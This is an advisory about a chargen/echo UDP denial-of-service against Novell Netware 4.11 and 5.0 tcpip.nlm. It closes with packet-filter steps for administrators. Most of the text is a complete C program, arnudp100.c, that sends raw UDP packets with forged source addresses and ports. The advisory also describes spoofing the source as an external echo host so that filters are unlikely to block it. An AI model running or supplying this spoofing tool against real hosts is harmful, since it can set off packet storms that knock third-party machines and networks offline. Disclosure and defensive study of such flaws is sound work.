COMMAND
tcpip.nlm
SYSTEMS AFFECTED
Netware 4.11, 5.0
PROBLEM
Weed Whacker found following. Novell was informed about their
tcpip.nlm being vulnerable to the old chargen and echo denial of
service attack. Weed tested and confirmed that Netware 4.11 and
5.0 running tcpip.nlm can be exploited, unless the admin has
implemented IP packet filters to prevent servicing these ports
(chargen and echo cannot be turned off - IP packets must be
filtered).
A description of the ancient exploit, along with the code is here:
http://www.netcraft.com/presentations/interop/dos.html
A stereotypical attack would involve sending a udp packet to the
chargen port on a host with the packet's source port set to echo,
and the source address set to localhost, broadcast, or the address
of another host on the internet known to offer udp echo. Other udp
services such as daytime (port 13) and time (port 37) might also
be used as a basis for the attack. A source address of localhost
or broadcast may be denied by filters set to deny packets claiming
to originate from the local network. However, a udp packet with a
source address set to the address of another external host is much
unlikely to be filtered, and would be a sensible choice for an
attacker.
Programs to forge the ip address of a udp packet are freely
available. An example program is provided for demonstration and
experimention within the confines of your local network. Please
note before compiling and running it that:
- Your mileage will vary depending on your operating system
and that of the target systems
- It can cause the machine it is run from to wedge completely
- If you start an exchange of udp packets between two other
hosts, you may not be able to stop it, other than by turning
one of the hosts off
Code:
/************************************************************************/
/* arnudp100.c - sends a single UDP datagram with the source and */
/* destination address and port set to whatever you want. */
/* Known to work on: Linux pre2.0.7 (486), SunOS 5.4 (SPARC) and */
/* FreeBSD 2.1.0 (486). */
/* Old kernels such as SunOS 4.1 and Linux 1.2 will overwrite the */
/* source address with the real address of the interface. */
/* Should compile fine with just an ANSI compiler (such as gcc) under */
/* Linux and SunOS 4.1, but with SunOS 5.4 you may have to specify */
/* extra libraries on the command line: */
/* /usr/ucb/cc -o arnudp arnudp100.c -lsocket -lnsl */
/* I'll state the obvious - this needs to be run as root! Do not use */
/* this program unless you know what you are doing, as it is possible */
/* that you could confuse parts of your network / internet. */
/* Written by R.T.Arnold (arny@geek.org.uk) for Netcraft Ltd. */
/* (c) copyright 1996 R.T. Arnold. This is not free software. */
/************************************************************************/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef INADDR_NONE
#define INADDR_NONE 0xffffffff
#endif
u_long getip(char*);
u_short getportudp(char*);
u_long cptol(u_char*);
u_char *stocp(u_char*,u_short);
u_char *ltocp(u_char*,u_long);
union shortunion { u_short s; u_char c[2]; };
union longunion { u_long l; u_char c[4]; };
struct sockaddr sa;
main(int argc,char **argv)
{
int fd;
int x=1;
u_long host;
u_short service;
struct sockaddr_in *p;
u_char gram[]=
{
0x45, 0x00, 0, 0,
0x00, 0x00, 0x00, 0x00,
0xFF, 0x11, 0x00, 0x00,
0, 0, 0, 0,
0, 0, 0, 0,
0, 0, 0, 0,
0x00, 0x12, 0x00, 0x00,
'1','2','3','4','5','6','7','8','9','0'
};
/* sanity check... */
if((sizeof(u_char)!=1)||(sizeof(u_short)!=2)||(sizeof(u_long)!=4))
{
fprintf(stderr,"error: integer types aren't the right size.\n");
exit(1);
};
/* it does seem odd that the total length needs to be in host byte order */
stocp(gram+2,(u_short)sizeof(gram));
if(argc!=5)
{
fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv);
exit(1);
};
/* fill in source/destination addresses/ports and the socket address...*/
if(strcmp(argv[1],"255.255.255.255")==0) host=0xffffffff; else if((host=getip(argv[1]))==INADDR_NONE) exit(1);
ltocp(gram+12,host);
if(strcmp(argv[3],"255.255.255.255")==0) host=0xffffffff; else if((host=getip(argv[3]))==INADDR_NONE) exit(1);
ltocp(gram+16,host);
p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
p->sin_addr.s_addr=host;
if(strcmp(argv[2],"0")==0) service=0; else if((service=getportudp(argv[2]))==0) exit(1);
stocp(gram+20,service);
if(strcmp(argv[4],"0")==0) service=0; else if((service=getportudp(argv[4]))==0) exit(1);
stocp(gram+22,service);
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
{
perror("socket");
exit(1);
};
#ifdef IP_HDRINCL
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
{
perror("setsockopt IP_HDRINCL");
exit(1);
};
#else
fprintf(stderr,"the IP_HDRINCL option didn't exist on the system this was compliled on.\n");
#endif
if((sendto(fd,&gram,sizeof(gram),0,&sa,sizeof(sa)))== -1)
{
perror("sendto");
exit(1);
};
printf("datagram passed to kernel:");
for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
{
if(!(x%4)) putchar('\n');
printf("%02x",gram[x]);
};
putchar('\n');
return(0);
}
/* returns IP address (as a u_long) given a hostname string */
u_long getip(char *hostname)
{
u_long ip;
struct hostent *he;
if((ip=inet_addr(hostname))==INADDR_NONE)
{
if((he=gethostbyname(hostname))==NULL)
{
fprintf(stderr,"error: can't resolve hostname \"%s\"\n",hostname);
return(INADDR_NONE);
};
if(he->h_addrtype!=AF_INET) fprintf(stderr,"warning: resolved address type is not AF_INET, will try to carry on anyway.\n");
if(he->h_length!=4) fprintf(stderr,"warning: resolved address length is not 4, will try to carry on anyway.\n");
ip=cptol((u_char*)*(he->h_addr_list));
};
return(ip);
}
/* returns port given a UDP service name or port number */
u_short getportudp(char *service)
{
u_short port;
struct servent *se;
if((port=atoi(service))!=0) return(htons(port));
if((se=getservbyname(service,"udp"))==NULL)
{
fprintf(stderr,"error: unknown service \"%s\"\n",service);
return(0);
};
return(se->s_port);
}
/* the following functions convert between types, hopefully in a way thats portable */
u_long cptol(u_char *cp)
{
static union longunion l;
l.c[0]=cp[0];
l.c[1]=cp[1];
l.c[2]=cp[2];
l.c[3]=cp[3];
return(l.l);
}
u_char *stocp(u_char *cp,u_short us)
{
static union shortunion s;
s.s=us;
cp[0]=s.c[0];
cp[1]=s.c[1];
return(cp);
}
u_char *ltocp(u_char *cp,u_long ul)
{
static union longunion l;
l.l=ul;
cp[0]=l.c[0];
cp[1]=l.c[1];
cp[2]=l.c[2];
cp[3]=l.c[3];
return(cp);
}
SOLUTION
A Netware admin can implement IP packet filters (directions
courtesy a first-rate netware admin):
load inetcfg
select protocols
select tcp/ip
enable filtering support
exit (and save, of course)
load filtcfg
select tcp/ip
select packet forwarding filters
enable it
press enter on filters
use insert to install each filter (chargen and echo, udp and tcp)
exit to the console prompt and type
reinitialize system